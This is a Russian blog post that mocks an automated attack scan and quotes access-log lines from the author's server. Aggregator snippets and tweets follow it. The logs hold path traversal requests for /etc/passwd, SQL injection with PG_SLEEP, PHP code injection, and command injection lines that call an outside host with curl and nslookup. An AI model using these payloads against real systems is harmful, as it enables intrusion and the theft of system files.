"Кто стучится в дверь ко мне?"

топ 100 блогов trilirium04.04.2023 С толстой сумкой множеством непонятных, но очень тупых эксплойтов? )))

Выдержанные места из переписки с друзьями логов нашего сервера:




10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /NIKLib/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd HTTP/1.1" 404 360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /${@print(md5(31337))}/small/ HTTP/1.1" 404 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_docs/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/boot.ini HTTP/1.1" 404 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd HTTP/1.1" 404 300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg/ HTTP/1.1" 404 281 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /LATQxF7Z'%20OR%20494=(SELECT%20494%20FROM%20PG_SLEEP(15))--/small/ HTTP/1.1" 404 254 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small'||sleep(27*1000)*wgjnig||'/ HTTP/1.1" 404 237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/HttP:%2f%2fbxss.me%2ft%2fxss.html%3f%2500/ HTTP/1.1" 404 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "POST /xmlrpc.aspx HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_database/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd HTTP/1.1" 404 370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/^(%23$!@%23$)(()))******/ HTTP/1.1" 404 225 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /backup_infoculture.tgz HTTP/1.1" 404 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /.dockerignore HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/$(nslookup%20-q=cname%20hitueciwemxjwb85e8.bxss.me||curl%20hitueciwemxjwb85e8.bxss.me)/ HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /NIKLib/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd HTTP/1.1" 404 296 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /${@print(md5(31337))}\\/small/ HTTP/1.1" 404 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_docs/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 404 256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /epH4qy3T')%20OR%20432=(SELECT%20432%20FROM%20PG_SLEEP(15))--/small/ HTTP/1.1" 404 255 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small\"||sleep(27*1000)*ghlzjz||\"/ HTTP/1.1" 404 247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_database/BB/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1" 404 268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/bxss.me%2ft%2fxss.html%3f%2500/ HTTP/1.1" 404 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_database/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd HTTP/1.1" 404 306 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /NIKLib/althome/js/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd HTTP/1.1" 404 291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /\"+\"A\".concat(70-3).concat(22*4).concat(100).concat(78).concat(115).concat(70)+(require\"socket\"%0aSocket.gethostbyname(\"hitdh\"+\"fwkextbp0eff2.bxss.me.\")[3].to_s)+\"/small/ HTTP/1.1" 404 415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /.deployignore HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"



Ну, и так далее. Я мог бы намного больше процитировать -- но идею вы поняли. )))

Всё это абсолютно неэффективно, за исключением одного: тупо жрёт дисковое пространство под логи.
Нормальный размер нашего недельного лога -- ~~10Mb, а тут накидали этой гадости аж за двести!
И всё равно, им полный облом. )))

Оставить комментарий

Предыдущие записи блогера :
Архив записей в блогах:
Знаете, за что я обожаю русских мужчин? Они были и остаются для меня чем-то непостижимым, головоломкой, которую никогда не разгадать, так как сочетают в себе то, что сочетать в принципе невозможно. Конечно, если ты не герой комикса или фантастического боевика. На фото: Работы ...
На территорию Беларуси прибывают российские оперативно-тактические ракетные комплексы «Искандер-М». Так, очевидны сообщают о разгрузке ОТРК на станции Осиповичи в Могилевской области – в четверг 20 января там был замечен эшелон с боевой техникой, а также плацкартные вагоны с ...
Добрый день! Навеяно постом об экономии. Один из самых популярных советов был покупать бу вещи и самим продавать лишнее. Опытные продавцы на авито, комиссионке поделитесь, пожалуйста, как правильно выставлять цену, чтоб "и нашим, и вашим". Вот, к примеру, есть у меня абсолютно новые зимние ...
Эшли Бенсон, Изабель Юппер, Шейлин Вудли и Катрина Балф посетили модный показ Stella McCartney. ...
оказалась вполне терпимой, если не считать того, что на работе начальница внезапно решила показать чудеса даже не микро, а нано-менеджмента. Но это вполне переживаемо, учитывая, что такой раж на нее нападает не больше пары раз в год и длится дня три, не более. Два уже прошли, так что все ...
  • afg_mujahid : RT @Paktyaw4l: No more tinted windows in Afghanistan. Neither government officials nor civilians are allowed to have tinted windows: https:…

  • GigiSilk : RT @sugaraddictxiv: Daylight Monochrome [M] Lots of windows! Made a simple elevator for this build so I don't have to struggle with the T-…

  • EarlWagnerYo : @Tinderella2u Eso es porque no usas maquinas Windows en google cloud todo rompen

  • CKKCOBALT : RT @CKKCOBALT: 地味に知られていないWindows君の機能、設定で特定のフォルダ内の画像を一定時間ごとにランダムに壁紙として表示が可能なので、大変良き。 画面ごとに違う画像が表示されるため、マルチモニタだと尚良し。 https://t.co/cwyuErhVW1

  • MrBlackl : RT @totoraj_game: 個人的には1ボタンで複数の動作をするのはライン越えだと思ってる 1ボタン1アクションまで! それを超えたらマクロと変わらんと思う ホームとかを割り振るのはVK_BROWSER_HOMEって仮想キーコードがあるからね ここら辺はキーボード…

  • amandastyy15 : RT @tanyakanrl: